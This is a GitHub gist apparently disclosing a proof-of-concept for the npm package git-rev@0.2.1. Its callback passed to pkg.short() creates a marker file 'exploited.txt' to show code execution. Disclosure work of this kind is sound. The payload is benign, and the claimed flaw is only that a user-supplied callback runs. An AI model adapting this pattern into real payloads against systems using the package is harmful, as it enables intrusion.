Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 28, 2023 15:33
Show Gist options
  • Save mcoimbra/37a16e608e18ff464688941c27e877bb to your computer and use it in GitHub Desktop.
Save mcoimbra/37a16e608e18ff464688941c27e877bb to your computer and use it in GitHub Desktop.
Package git-rev@0.2.1: it is possible to exeute custom code via a callback.
'use strict'
const pkg = require('git-rev');
const cb = function(error_msg) {
const fs = require('node:fs');
let fd = fs.openSync('exploited.txt', 'a');
fs.closeSync(fd);
}
// Through the callback a local 'exploited.txt' file will be created.
pkg.short(cb);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment